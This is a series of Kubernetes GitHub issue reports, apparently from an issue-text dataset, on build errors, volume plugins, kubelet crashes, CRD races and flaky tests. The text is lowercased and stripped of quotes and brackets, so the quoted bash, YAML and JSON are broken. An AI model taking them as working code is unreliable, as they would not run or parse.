options.volumeconfigflags _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:222: too many errors !!! error in /usr/local/google/home/mikedanese/go/src/k8s.io/kubernetes/hack/lib/golang.sh:395   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /usr/local/google/home/mikedanese/go/src/k8s.io/kubernetes/hack/lib/golang.sh:395 kube::golang::build_binaries_for_platform ...    2: /usr/local/google/home/mikedanese/go/src/k8s.io/kubernetes/hack/lib/golang.sh:537 kube::golang::build_binaries ...    3: hack/build-go.sh:26 main ...  exiting with status 1 !!! error in /usr/local/google/home/mikedanese/go/src/k8s.io/kubernetes/hack/lib/golang.sh:458   '  kube::golang::setup_env; local host_platform; host_platform=$ kube::golang::host_platform ; local goflags goldflags; eval \ goflags= ${kube_goflags:-} \ ; goldflags=\ ${kube_goldflags:-} $ kube::version::ldflags \ ; local use_go_build; local -a targets=  ; local arg; for arg in \ $@\ ; do     if    \ ${arg}\  == \ --use_go_build\    ; then         use_go_build=true;     else         if    \ ${arg}\  == -_   ; then             goflags+= \ ${arg}\  ;         else             targets+= \ ${arg}\  ;         fi;     fi; done; if    ${ targets @ } -eq 0   ; then     targets= \ ${kube_all_targets @ }\  ; fi; local -a platforms= \ ${kube_build_platforms @ :+${kube_build_platforms @ }}\  ; if    ${ platforms @ } -eq 0   ; then     platforms= \ ${host_platform}\  ; fi; local binaries; binaries= $ kube::golang::binaries_from_targets \ ${targets @ }\   ; local parallel=false; if    ${ platforms @ } -gt 1   ; then     local gigs; gigs=$ kube::golang::get_physmem ; if    ${gigs} -ge ${kube_parallel_build_memory}   ; then         kube::log::status \ multiple platforms requested and available ${gigs}g >= threshold ${kube_parallel_build_memory}g, building platforms in parallel\ ; parallel=true;     else         kube::log::status \ multiple platforms requested, but available ${gigs}g < threshold ${kube_parallel_build_memory}g, building platforms in serial\ ; parallel=false;     fi; fi; if    \ ${parallel}\  == \ true\    ; then     kube::log::status \ building go targets for ${platforms @ } in parallel  output will appear in a burst when complete :\  \ ${targets @ }\ ; local platform; for platform in \ ${platforms @ }\ ;     do           kube::golang::set_platform_envs \ ${platform}\ ; kube::log::status \ ${platform}: go build started\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-}; kube::log::status \ ${platform}: go build finished\    &> \ /tmp//${platform//\\//_}.build\  &     done; local fails=0; for job in $ jobs -p ;     do         wait ${job} || let \ fails+=1\ ;     done; for platform in \ ${platforms @ }\ ;     do         cat \ /tmp//${platform//\\//_}.build\ ;     done; exit ${fails}; else     for platform in \ ${platforms @ }\ ;     do         kube::log::status \ building go targets for ${platform}:\  \ ${targets @ }\ ; kube::golang::set_platform_envs \ ${platform}\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-};     done; fi  ' exited with status 1 call stack:   1: /usr/local/google/home/mikedanese/go/src/k8s.io/kubernetes/hack/lib/golang.sh:458 kube::golang::build_binaries ...    2: hack/build-go.sh:26 main ...  exiting with status 1 make:   \\   all  error 1

kubernetes version    use  kubectl version  : v1.3.5    environment  : -   cloud provider or hardware configuration  : baremetal -   os    e.g. from /etc/os-release : fedora 24 -   kernel    e.g.  uname -a  : linux 4.6.6-300.fc24.x86_64 x86_64 -   install tools  : https://github.com/kubespray/kargo -   others  :    what happened  :  our kubernetes minions have an fc lun available via two different wwns. one set of the servers sees the lun via target wwn 5001438001340bc4 and the other via 5001438001340bc6. so each server sees the lun via one wwn  path  only, no dm multipath is in place.  we would like kubelets to find the lun via any of the targetwwns, so we have added the following code into .yaml file:        volumes:   - name: fc     fc:       targetwwns:  \ 5001438001340bc4\ , \ 5001438001340bc6\         lun: 1      the node which picked the pod could only connect 5001438001340bc4 wwn. however we found that kubelet could not find the disk and displayed the following error: \ no fc disk found\ .    what you expected to happen  :  we expect kubelet to be able to go over all possible targetwwns and attach the lun if any of the wwns can provide the lun.    how to reproduce it    as minimally and precisely as possible :  place a pod with  fc  volume type with two targetwwns. matching wwn should go first. second wwn can be anything. dm multipath should not be used.    anything else do we need to know  :  we have performed an investigation and found out that it appears that the following code https://github.com/kubernetes/kubernetes/blame/master/pkg/volume/fc/fc_util.go l140 does not handle the case of multiple targetwwns correctly. for example, if matching wwn comes first and non-matching second, even if the first wwn could be used, the loop will go over to the second wwn and disk var will be empty. note that we do not use dm multipath, so  dm  device branch does not apply.  we have prepared a patch which should correctly go over all targetwwns and attach the lun if any of the wwns can provide access to the lun. see the following gist for details: https://gist.github.com/zaa/b957be41ca37bf1af82b33d47593d9fd  basically, we changed code to try to find dm multipath-backed disk first. if this fails, we rescan scsi bus and try to use  dm   if available    or   plain old  /dev/sd a-z   device.  @kubernetes/sig-storage @rootfs

similar to the rest of our nested commands  set, rollout . unfortunately a straight move is not possible atm because of create depending on edit  thus introducing cyclic dependencies in kubectl . we should probably move the edit functionality in a common location  eg. the already existing pkg/kubectl/cmd/util/editor  and have the kubectl commands re-use it. i am not sure if we want to do such a thing, just wanted to bring this up\r \r @kubernetes/kubectl @kubernetes/sig-cli thoughts

feature request  \r \r i'd like to be able to see the value for memory request for every container in prometheus. i can already see memory limit  via  container_spec_memory_limit_bytes  , cpu request  via  container_spec_cpu_shares   and cpu limit  via  container_spec_cpu_quota  . but memory request seems to be missing.\r \r i'm not sure if the kubernetes project is the right one to file this issue, it might be a different application that's responsible for exporting this information? cadvisor?\r \r i'm on gke version 1.5.1 running the gci image.

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-1+c0b74ebf3ce26e-dirty\ , gitcommit:\ c0b74ebf3ce26e46b5397ffb5ce71cd02f951130\ , gittreestate:\ dirty\ , builddate:\ 2017-03-30t08:19:21z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r -   kernel    e.g.  uname -a  : linux kube-dev-master-2-0 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : ansible\r -   others  :\r \r \r   what happened  : when creating new cluster with kubernetes 1.6.0 always two of three masters are going to notready state.\r \r kubectl get nodes\r name                  status     age       version\r kube-dev-master-1-0   ready      2m        v1.6.0\r kube-dev-master-1-1   notready   2m        v1.6.0\r kube-dev-master-2-0   notready   2m        v1.6.0\r kube-dev-node-1-0     ready      1m        v1.6.0\r kube-dev-node-2-0     ready      1m        v1.6.0\r \r log files from kubelet is spamming:\r mar 30 15:20:44 centos7 kubelet: i0330 12:20:44.297149    8724 kubelet.go:1752  skipping pod synchronization -  failed to start containermanager failed to initialise top level qos containers: failed to create top level burstable qos cgroup : unit kubepods-burstable.slice already exists. \r \r \r   what you expected to happen  : i except that masters should join to cluster\r \r \r   how to reproduce it    as minimally and precisely as possible : kubelet args\r \r execstart=/usr/bin/kubelet \\\r   --kubeconfig=/tmp/kubeconfig \\\r   --require-kubeconfig \\\r   --register-node=true \\\r   --hostname-override=kube-dev-master-2-0 \\\r   --allow-privileged=true \\\r   --cgroup-driver=systemd \\\r   --cluster-dns=10.254.0.253 \\\r   --cluster-domain=cluster.local \\\r   --pod-manifest-path=/etc/kubernetes/manifests \\\r   --v=4 \\\r   --cloud-provider=openstack \\\r   --cloud-config=/etc/kubernetes/cloud-config\r \r \r   after restart of machines everything is working normally, but restart of machine after installation was not needed before 1.6.0

i created a configmap for a pod's volume, but it's empty:\r    \r lincai@montana:~/prometheus$ kubectl exec nginx-deployment-2643406053-6t4h8 -- ls -al /etc/prometheus\r total 8\r drwxr-xr-x  2 root root 4096 jun  1 10:07 .\r drwxr-xr-x 46 root root 4096 jun  1 10:07 ..\r lincai@montana:~/prometheus$ \r    \r \r the configmap create cmd:\r    \r kubectl create configmap prometheus --from-file=documentation/examples/prometheus-kubernetes.yml\r lincai@montana:~/prometheus$ kubectl get configmap\r name         data      age\r prometheus   1         21m\r    \r \r the pod manifest:\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   replicas: 1   tells deployment to run 2 pods matching the template\r   template:   create pods using pod definition in this template\r     metadata:\r         unlike pod-nginx.yaml, the name is not included in the meta data as a unique name is\r         generated from the deployment name\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r         volumemounts:\r         - name: config-volume\r           mountpath: /etc/prometheus\r       volumes:\r       - name: config-volume\r         configmap:\r           name: prometheus\r           items:\r             - key: prometheus-kubernetes.yml\r               path: prometheus.yml\r

was playing around with flex volumes and got my controller-manager to start crash looping:\r \r    \r e0614 20:45:01.659766       8 operation_executor.go:572  verifyvolumesareattached: nil spec for volume idmgr/foobarbaz\r e0614 20:45:01.659942       8 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/google/home/mikedanese/.cache/bazel/_bazel_mikedanese/6c65a147ac17188f348dcacc7c554ab3/external/go1.8.3.linux-amd64/src/runtime/asm_amd64.s:514\r /usr/local/google/home/mikedanese/.cache/bazel/_bazel_mikedanese/6c65a147ac17188f348dcacc7c554ab3/external/go1.8.3.linux-amd64/src/runtime/panic.go:489\r /usr/local/google/home/mikedanese/.cache/bazel/_bazel_mikedanese/6c65a147ac17188f348dcacc7c554ab3/external/go1.8.3.linux-amd64/src/runtime/panic.go:63\r /usr/local/google/home/mikedanese/.cache/bazel/_bazel_mikedanese/6c65a147ac17188f348dcacc7c554ab3/external/go1.8.3.linux-amd64/src/runtime/signal_unix.go:290\r pkg/volume/aws_ebs/aws_ebs.go:83\r pkg/volume/plugins.go:384\r pkg/volume/util/operationexecutor/operation_generator.go:119\r pkg/volume/util/operationexecutor/operation_executor.go:647\r pkg/volume/util/operationexecutor/operation_executor.go:616\r pkg/controller/volume/attachdetach/reconciler/reconciler.go:131\r pkg/controller/volume/attachdetach/reconciler/reconciler.go:122\r pkg/controller/volume/attachdetach/reconciler/reconciler.go:115\r vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r pkg/controller/volume/attachdetach/reconciler/reconciler.go:98\r /usr/local/google/home/mikedanese/.cache/bazel/_bazel_mikedanese/6c65a147ac17188f348dcacc7c554ab3/external/go1.8.3.linux-amd64/src/runtime/asm_amd64.s:2197\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r         panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x8 pc=0x2af20b5 \r    \r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r the  deployment  controller uses the field  collisioncount  as a collision avoidance mechanism when it needs to create name for the newest  replicaset .  similarly, the  daemonset  controller uses  collisioncount  as a collision avoidance mechanism when it needs to create name for the newest  controllerrevision .  like the  daemonset  controller, the  statefulset  controller also creates  controllerrevision , but does not use  collisioncount  for collision avoidance. \r \r   what you expected to happen  :\r the field  collisioncount  should be added to  statefulsetstatus  and used for collision avoidance like how the  daemonset  controller uses the field when creating name for the newest  controllerrevision .\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a.\r \r   anything else we need to know?  :\r n/a. \r \r   environment  : n/a\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r \r to speed up debugging or updating rbac roles and rolebindings it would be nice to have a feature in kubectl which can query the current rbac setup.\r \r   what you expected to happen  :\r \r kubectl provides a feature to query rbac and generates output similar to that from this tool:\r https://github.com/sbueringer/kubernetes-rbacq

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r ran  kube-proxy --cleanup  and it crashed after cleaning up  iptables :\r \r    \r   ./kube-proxy --v=10 --cleanup\r w1020 16:27:12.840883    2064 server.go:191  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r i1020 16:27:12.861382    2064 iptables.go:564  couldn't get iptables-restore version; assuming it doesn't support --wait\r i1020 16:27:12.863689    2064 iptables.go:396  running iptables -c  output -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j kube-portals-host \r i1020 16:27:12.864612    2064 iptables.go:396  running iptables -c  prerouting -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j kube-portals-container \r i1020 16:27:12.865435    2064 iptables.go:396  running iptables -c  output -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this must be the last rule in the chain -j kube-nodeport-host \r i1020 16:27:12.866281    2064 iptables.go:396  running iptables -c  prerouting -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this must be the last rule in the chain -j kube-nodeport-container \r i1020 16:27:12.867102    2064 iptables.go:396  running iptables -c  input -t filter -m comment --comment ensure that non-local nodeport traffic can flow -j kube-nodeport-non-local \r i1020 16:27:12.867862    2064 iptables.go:396  running iptables -f  kube-portals-container -t nat \r i1020 16:27:12.868564    2064 iptables.go:396  running iptables -f  kube-portals-host -t nat \r i1020 16:27:12.869247    2064 iptables.go:396  running iptables -f  kube-nodeport-host -t nat \r i1020 16:27:12.869921    2064 iptables.go:396  running iptables -f  kube-nodeport-container -t nat \r i1020 16:27:12.870622    2064 iptables.go:396  running iptables -f  kube-nodeport-non-local -t filter \r i1020 16:27:12.871304    2064 iptables.go:396  running iptables -c  input -t filter -m comment --comment kubernetes service portals -j kube-services \r i1020 16:27:12.872129    2064 iptables.go:396  running iptables -c  output -t filter -m comment --comment kubernetes service portals -j kube-services \r i1020 16:27:12.872884    2064 iptables.go:396  running iptables -c  output -t nat -m comment --comment kubernetes service portals -j kube-services \r i1020 16:27:12.873639    2064 iptables.go:396  running iptables -c  prerouting -t nat -m comment --comment kubernetes service portals -j kube-services \r i1020 16:27:12.874398    2064 iptables.go:396  running iptables -c  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i1020 16:27:12.875133    2064 iptables.go:314  running iptables-save  -t nat \r i1020 16:27:12.875860    2064 iptables.go:373  running iptables-restore  -t nat --noflush --counters \r i1020 16:27:12.876637    2064 iptables.go:373  running iptables-restore  -t filter --noflush --counters \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x1287ad8 \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/proxy/ipvs.deletedummydevice 0x0, 0x0, 0x16076ac, 0xa, 0x15ff1dc, 0x3 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:1496 +0xa8\r k8s.io/kubernetes/pkg/proxy/ipvs.cleanupleftovers 0x0, 0x0, 0x1f763a0, 0xc420342a40, 0x1f76aa0, 0xc4203e4ab0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:720 +0x75\r k8s.io/kubernetes/cmd/kube-proxy/app.  proxyserver .run 0xc4200b63c0, 0xc42006d601, 0xc4204c2b80 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:428 +0x10aa\r k8s.io/kubernetes/cmd/kube-proxy/app.  options .run 0xc42006d6b0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:229 +0xa0\r k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc4204be6c0, 0xc4201cce60, 0x0, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:344 +0x80\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4204be6c0, 0xc42000e130, 0x2, 0x2, 0xc4204be6c0, 0xc42000e130 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4204be6c0, 0xc420645f60, 0xc420645f58, 0xc42010b380 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4204be6c0, 0x168ecb0, 0xc4200001a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/proxy.go:44 +0x96\r    \r \r   what you expected to happen  :\r \r i expected  kube-proxy --cleanup  not to crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this can be reproduced this by running the abovementioned command or the shorter\r \r    \r   kube-proxy --cleanup\r    \r \r   anything else we need to know?  :\r \r —\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.1  all components from the  v1.8.1  tag \r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :  linux worker-0 4.10.0-37-generic  41~16.04.1-ubuntu smp fri oct 6 22:42:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: —\r - others: —

is this a bug report or feature request?  :\r \r  \r   what happened  :\r - the csi internal volume plugin is not starting and not triggering volume attachment.\r - kubelet also generates rbac errors when attempting to access  volumeattachment  api objects\r \r   what you expected to happen  :\r - internal csi volume plugin should start properly by the kublet or kube-controller-manager\r - kubelet should not encounter rbac errors when attempting to access  volumeattachment  api objects\r \r   how to reproduce it  as minimally and precisely as possible   :\r - attempt to deploy pv that uses the internal csi volume plugin

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r  kubeadm join ...  ok, but  kubectl get nodes  not appear the joined node\r ! image  https://user-images.githubusercontent.com/4156139/37468350-c44bbc10-289d-11e8-8780-237518765e2f.png \r ! image  https://user-images.githubusercontent.com/4156139/37468355-ca57cf18-289d-11e8-9d99-20079853f75c.png \r \r \r   what you expected to happen  :\r \r kubectl get nodes appear the node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just use  kubeadm join --token 0b415f.52831331ff2d780d 10.10.90.118:6443 --discovery-token-ca-cert-hash sha256:f8de0aade3208be5d92a26bd0bc5493636d5200997a3e7025d0bf2ccb0f4d7e9 \r \r   anything else we need to know?  :\r no.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r master and node with the same version\r ! image  https://user-images.githubusercontent.com/4156139/37468401-edf36da6-289d-11e8-9dd8-577bc480afc7.png \r \r - cloud provider or hardware configuration:\r both baremetal machine \r - os  e.g. from /etc/os-release :\r master and node with the same version\r ! image  https://user-images.githubusercontent.com/4156139/37468445-052c8c5a-289e-11e8-8aad-9607919e9bb9.png \r \r - kernel  e.g.  uname -a  :\r ! image  https://user-images.githubusercontent.com/4156139/37468461-0bf11c22-289e-11e8-8e68-6db6a7fd3e63.png \r \r - install tools:\r  kubeadm  for my installation\r \r - others:\r

 \r   what happened  :\r https://github.com/kubernetes/kubernetes/pull/59378 added istio manifests to the kubernetes addons directory. there are several issues with the images in the yaml:\r \r prom/statsd-exporter:v0.5.0\r docker.io/prom/prometheus:v2.0.0\r docker.io/openzipkin/zipkin:latest\r \r if we want istio to be considered a gke addon, these should all be mirrored to gcr.io so that we can continuously scan them for known vulnerabilities.\r as a side note, the image should be fully specified  e.g. \ docker.io/...\  or \ gcr.io/...\  .\r the zipkin image should specify a version, so we don't get arbitrarily broken.\r \r   what you expected to happen  :\r images should conform to guidelines above.\r \r   how to reproduce it  as minimally and precisely as possible   :\r inspect the yaml files. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v.1.10.0+ \r \r

currently openapi-gen generated spec for  intstr.intorstring  only allows  string  types. https://github.com/kubernetes/apimachinery/blob/5d4f0da8e5fde7cbadf8ab3ce5cfb76f86dd854e/pkg/util/intstr/intstr.go l124 . this is incorrect and causes problem when used to generate crd validation schema. i generate  crd schema validation using a pipeline like below:\r    \r types.go --- openapi-gen  ---> openapi_generated.go --- crd-validation ---> crd.yaml\r    \r \r one fix suggested by @sttts is to use schema like \r    \r {\r   \ oneof\ :  \r     { \ type\ : \ string\  },\r     { \ type\ : \ number\  }\r    \r }\r    \r but  anyof  is not defined in v2 spec so can't be be returned from  intorstring.openapidefinition    method. but when crd schema is generated one can update the auto generated schema for  intorstr  to fix this issue.  for example: https://github.com/appscode/kutil/pull/133/files\r \r  1  crd-validation: https://github.com/ant31/crd-validation

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r if you create cr shorty after crd, it can happen that it returns error that crd doesn't exists, even if it exists and is established.\r \r relevant issue for this problem  57042, where this happened on the cluster with limited resources while deploying istio. this one describes age  <invalid>  more, but could is relevant to the problem. for earlier research, check out https://github.com/kubernetes/kubernetes/issues/57042 issuecomment-372677121.\r \r   what you expected to happen  :\r \r cr creation success if crd is established.\r \r   anything else we need to know?  :\r \r with the current implementation, we have the following steps when creating and establishing the crd:\r   naming controller sets the  namesaccepted  status.\r   naming controller sets the  established  status shortly after  synchronously without roundtripping to the apiserver .\r \r after some time, the following happens:\r   informer gets notified that established is true.\r   some cr request is sent  e.g. by the user code  and received by the cr handler  e.g.  servehttp  . it calls the lister to make sure crd is established.\r \r however, we think there can be a race condition here, which causes the above described issue.\r what can happen, is that the established becomes true, cr request comes in, the lister is called, but the informer hasn't got the update event, and therefore, established is not true in the lister memory cache. in that case, the request is rejected even if established is set to true, and we get the described issue.\r \r the potential fix could be to change the workflow little bit. instead of  namesaccpeted =>  established , we want to add another status,  installing , which would happen after  namesaccpeted . by the implementation idea, once  installation  is set to true, it can't be turned to false  maybe just when it's time to turn it into  established  , unlike the  namesaccepted  status.\r \r then, we would turn crd into  established  in the update event handler for cr handlers, e.g. in the  updatecustomresourcedefinition handler  https://github.com/kubernetes/kubernetes/blob/df7f96fc209cabf73eeb4fa29bf4cbbabe3a2f4d/staging/src/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go l294 .\r \r also, we want to make  servehttp  for cr to answer the request when the crd is still in  installing , but not  established  state, e.g. by  changing this part of the code  https://github.com/kubernetes/kubernetes/blob/df7f96fc209cabf73eeb4fa29bf4cbbabe3a2f4d/staging/src/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go l183 .\r \r this can be further improved for ha environments if we get an ha checkpointing algorithm, so we can extend to logic to only set established when all api servers have seen installing.\r \r i'll be working on fixing this one, so this issue is a placeholder for further discussions on the approach until i open the pr. if you have any suggestion, please let me know.\r \r /cc deads2k sttts\r  /area custom-resources\r

 \r \r   what happened  : created pod with \ x\  and \ y\  labels, then created deployment which actually must manage pods with \ x\  and \ y\  labels. set replicas: 1. but it doesn't take management of the pod created above and creates new one. i see 2 pods in deployments descriptions , the one that created earlier than the deployment is not active and there is a message \ this pod matches the deployment's label selector but is not managed by it\ . \r actually, i've just \ migrated\  from replication controller to deployment. when i was using replication controller instead of deployment it worked fine and was able to manage my already created pod. \r \r   what you expected to happen  : deployment could manage the pod that has been created before it and has the right labels to deployment be able to manage it.\r \r   how to reproduce it  as minimally and precisely as possible   : create pod, add label role: master. then create deployment with selector config matchlabels: role: master . deployment will not manage the already created pod. but if you create replication controller instead of deployment it will.\r \r \r   anything else we need to know?  :\r \r   environment  : kubernetes cluster on google cloud\r - kubernetes version  use  kubectl version  : 1.9.7-gke\r - cloud provider or hardware configuration: google cloud\r - os  e.g. from /etc/os-release : container os\r - kernel  e.g.  uname -a  :\r - install tools: \r - others:\r

 \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/65420/pull-kubernetes-e2e-gce-100-performance/15248/\r    \r  sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons 7m17s\r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-scalability\\ \\sdensity\\s\\ feature\\:performance\\ \\sshould\\sallow\\sstarting\\s30\\spods\\sper\\snode\\susing\\s\\{\\sreplicationcontroller\\}\\swith\\s0\\ssecrets\\,\\s0\\sconfigmaps\\sand\\s0\\sdaemons$'\r test/e2e/framework/framework.go:145\r expected error:\r     < errors.errorstring | 0xc428ea3750>: {\r         s: \ container kube-scheduler-e2e-65420-95a39-master/kube-scheduler is using 0.45580984/0.4 cpu\ ,\r     }\r     container kube-scheduler-e2e-65420-95a39-master/kube-scheduler is using 0.45580984/0.4 cpu\r not to have occurred\r test/e2e/framework/framework.go:404\r \t\t\t\t\r \t\t\t\tclick to see stdout/stderrfrom junit_01.xml\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/66888/pull-kubernetes-e2e-gce-100-performance/15293\r    \r test/e2e/framework/framework.go:145\r expected error:\r     < errors.errorstring | 0xc421526be0>: {\r         s: \ container kube-scheduler-e2e-66888-95a39-master/kube-scheduler is using 0.401503677/0.4 cpu\ ,\r     }\r     container kube-scheduler-e2e-66888-95a39-master/kube-scheduler is using 0.401503677/0.4 cpu\r not to have occurred\r test/e2e/framework/framework.go:404\r    \r \r   what you expected to happen  :\r no errors\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a trivial pull request  e.g.  65420  and let the test runner run\r \r   anything else we need to know?  :\r it seems to happen ~1 in 10 times if i'm reading https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-e2e-gce-100-performance&include-filter-by-regex=%5eoverall%24%7ctest correctly\r \r   environment  :\r kubernetes pull request integration testing.

/area test\r   \r \r i want to know the hardware requirement on gce to run kubemark. \r       currently, kubernetes cluster on gce is:  \r \r leeivan@kubernetes-master ~ $ kubectl get nodes\r name                           status                     roles     age       version\r kubernetes-master              ready,schedulingdisabled   <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r kubernetes-minion-group-3tcw   ready                      <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r kubernetes-minion-group-5lk5   ready                      <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r kubernetes-minion-group-6wkh   ready                      <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r kubernetes-minion-group-n22k   ready                      <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r kubernetes-minion-group-wbzc   ready                      <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r kubernetes-minion-group-x3f6   ready                      <none>    6d        v1.12.0-alpha.0.2381+4797c8df8f2db6\r \r kubernetes-master: n1-standard-2  2 vcpus, 7.5 gb memory \r kubernetes-minion-group-3tcw and other nodes: n1-standard-2  2 vcpus, 7.5 gb memory \r     the commands:\r leeivan@kube-dev:~/gowork/src/k8s.io/kubernetes$ kube_gce_network=default kubemark_num_nodes=30 kubemark_master_size=n1-standard-4 ./test/kubemark/start-kubemark.sh\r leeivan@kube-dev:~/gowork/src/k8s.io/kubernetes$ test/kubemark/run-e2e-tests.sh --ginkgo.focus= feature:performance  --gather-metrics-at-teardown=true --output-print-type=json  –report-dir=$home/json\r     the errors:\r • failure in spec setup  beforeeach   128.408 seconds \r  sig-scalability  density\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/framework.go:22\r    feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  beforeeach \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:574\r \r   expected error:\r       < errors.errorstring | 0xc42140cd50>: {\r           s: \ namespace e2e-tests-density-2x27s is active\ ,\r       }\r       namespace e2e-tests-density-2x27s is active\r   not to have occurred\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:486\r ------------------------------\r ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssaug  8 00:45:39.196: info: running aftersuite actions on all node\r aug  8 00:45:39.196: info: running aftersuite actions on node 1\r \r \r summarizing 2 failures:\r \r  fail   sig-scalability  load capacity  beforeeach   feature:performance  should be able to handle 30 pods per 